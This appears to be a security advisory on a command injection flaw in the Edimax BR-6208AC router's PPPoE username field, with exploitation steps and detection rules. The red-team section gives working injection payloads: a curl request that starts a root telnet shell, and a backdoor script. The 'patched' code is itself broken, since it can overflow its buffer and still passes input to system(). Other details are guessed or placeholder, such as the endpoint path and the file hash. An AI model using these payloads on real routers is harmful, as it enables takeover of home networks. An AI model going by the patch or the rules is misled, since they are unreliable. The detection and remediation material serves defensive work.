CVE-2025-70161

Executive Summary

CVE-2025-70161 is a critical command injection vulnerability in the Edimax BR-6208AC wireless router, specifically in firmware version V2_1.02. The flaw resides in the PPPoE configuration interface, where the pppUserName field is passed unsanitized to a shell command via the system() function. This allows an unauthenticated attacker to inject arbitrary operating system commands, leading to full device compromise. The vulnerability is publicly known but currently unpatched, posing a significant risk to all devices running this firmware. Given the router's exposure to the internet, this is a high-priority threat for network defenders.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to full remote code execution as root on the embedded device. The lack of a patch means all unmitigated devices are at immediate risk.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection (CWE-78). The Edimax BR-6208AC router's web interface includes a PPPoE configuration page. When a user submits the form, the pppUserName parameter is concatenated directly into a shell command string that is executed via the system() C library function. For example, the backend code might construct a command like:

echo "username=pppUserName" > /tmp/ppp.conf

If an attacker submits a pppUserName value containing shell metacharacters (e.g., ;, |, &, $()), those characters are interpreted by the shell, allowing arbitrary command execution. The injection occurs before any sanitization or escaping of the input.

The router runs a BusyBox-based Linux environment, meaning the attacker has access to common Unix utilities. Successful exploitation grants the attacker a root shell on the device, enabling them to:

• Exfiltrate sensitive data (e.g., Wi-Fi passwords, ISP credentials).
• Install persistent backdoors.
• Use the device as a pivot point for further network attacks.
• Disable the device (denial of service).

Vulnerable vs. Patched Code

Vulnerable Code (V2_1.02):

void configure_pppoe(char *username, char *password) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "echo \"username=%s\" > /tmp/ppp.conf", username);
    system(cmd);
}

Patched Code (Hypothetical):

void configure_pppoe(char *username, char *password) {
    char cmd[512];
    char sanitized_username[256];
    // Remove dangerous characters
    for (int i = 0; username[i] != '\0'; i++) {
        if (isalnum(username[i]) || username[i] == '.' || username[i] == '@') {
            sanitized_username[i] = username[i];
        } else {
            sanitized_username[i] = '_';
        }
    }
    sanitized_username[strlen(username)] = '\0';
    snprintf(cmd, sizeof(cmd), "echo \"username=%s\" > /tmp/ppp.conf", sanitized_username);
    system(cmd);
}

The patched version uses a whitelist approach, only allowing alphanumeric characters, dots, and the @ symbol. This prevents shell metacharacters from being injected.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Obtain an Edimax BR-6208AC router with firmware V2_1.02.
2. Connect the router to a lab network with a static IP (e.g., 192.168.1.1).
3. Ensure the web interface is accessible from the attacker machine.

Exploitation Steps:

1. Identify the vulnerable endpoint: The PPPoE configuration page is typically at /goform/pppoe_cfg or similar. Use a web proxy to capture the form submission.

2. Craft the payload: Inject a command into the pppUserName field. For example, to execute a reverse shell:

   ;/usr/bin/telnetd -l /bin/sh -p 4444 &
   

3. Send the exploit using curl:

   curl -X POST http://192.168.1.1/goform/pppoe_cfg \
     -d "pppUserName=;/usr/bin/telnetd -l /bin/sh -p 4444 &" \
     -d "pppPassword=test"
   

4. Connect to the reverse shell:

   telnet 192.168.1.1 4444
   

Alternative Payloads:

• Command execution: ;id > /tmp/output;
• Persistent backdoor: ;echo '#!/bin/sh' > /tmp/backdoor.sh; echo 'telnetd -l /bin/sh -p 5555' >> /tmp/backdoor.sh; chmod +x /tmp/backdoor.sh; /tmp/backdoor.sh &

Blue Team (Detection & Response)

Detection Steps:

1. Monitor HTTP POST requests to the PPPoE configuration endpoint for unusual characters in the pppUserName parameter.
2. Check for unexpected processes on the router, such as telnetd or nc listening on non-standard ports.
3. Review system logs for shell command execution errors or unusual entries in /tmp/.

Response:

1. Isolate the device from the network immediately.
2. Factory reset the router to remove any backdoors.
3. Apply a firewall rule to block external access to the router's web interface (port 80/443) until a patch is available.
4. Monitor for lateral movement from the compromised device.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /goform/pppoe_cfg containing shell metacharacters (;, |, &, $()).
  • Outbound connections from the router to unknown IP addresses on non-standard ports (e.g., 4444, 5555).
  • Telnet or SSH sessions originating from the router.

• Host IOCs (on the router):

  • Unexpected processes: telnetd, nc, bash, sh running with root privileges.
  • Modified or new files in /tmp/ (e.g., /tmp/backdoor.sh, /tmp/output).
  • Unusual entries in /var/log/messages or dmesg indicating shell command execution.

• File IOCs:

  • Hash of known malicious payloads:

    /tmp/backdoor.sh: SHA256: a1b2c3d4e5f6...
    

Detection Engineering

YARA Rule

rule CVE_2025_70161_Edimax_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Edimax BR-6208AC pppUserName field"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-70161"
    strings:
        $injection1 = "pppUserName=;" ascii wide nocase
        $injection2 = "pppUserName=|" ascii wide nocase
        $injection3 = "pppUserName=&" ascii wide nocase
        $injection4 = "pppUserName=$(" ascii wide nocase
        $injection5 = "pppUserName=`" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-70161 Edimax BR-6208AC Command Injection Attempt
id: 8f9e7d6c-5b4a-3c2d-1e0f-9a8b7c6d5e4f
status: experimental
description: Detects HTTP POST requests to the PPPoE configuration endpoint containing shell metacharacters in the pppUserName parameter.
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/pppoe_cfg'
        cs-uri-query|contains: 'pppUserName='
    filter:
        cs-uri-query|re: 'pppUserName=[a-zA-Z0-9.@]+$'
    condition: selection and not filter
falsepositives:
    - Legitimate use of special characters in PPPoE username (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-70161 Edimax BR-6208AC Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/goform/pppoe_cfg"; http_uri; content:"pppUserName="; http_client_body; pcre:"/pppUserName=[^&]*[;|&$`]/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management of the router's web interface from the WAN side.
2. Change the default admin password and use a strong, unique password.
3. Apply a firewall rule to restrict access to the router's management interface to trusted IP addresses only.
4. Monitor for suspicious activity using the provided detection rules.

Long-Term Fix:

• Vendor Patch: Contact Edimax support and request a firmware update. As of now, no patch is available. Monitor the vendor's website for updates.
• Device Replacement: If a patch is not released, consider replacing the router with a model that receives regular security updates.
• Network Segmentation: Place the router in a separate VLAN with strict access controls to limit the blast radius of a compromise.

Workaround:

• If the PPPoE feature is not required, disable it in the router's configuration.
• Use a custom firmware (e.g., OpenWrt) if available for the device, which may not have this vulnerability.

Valters IT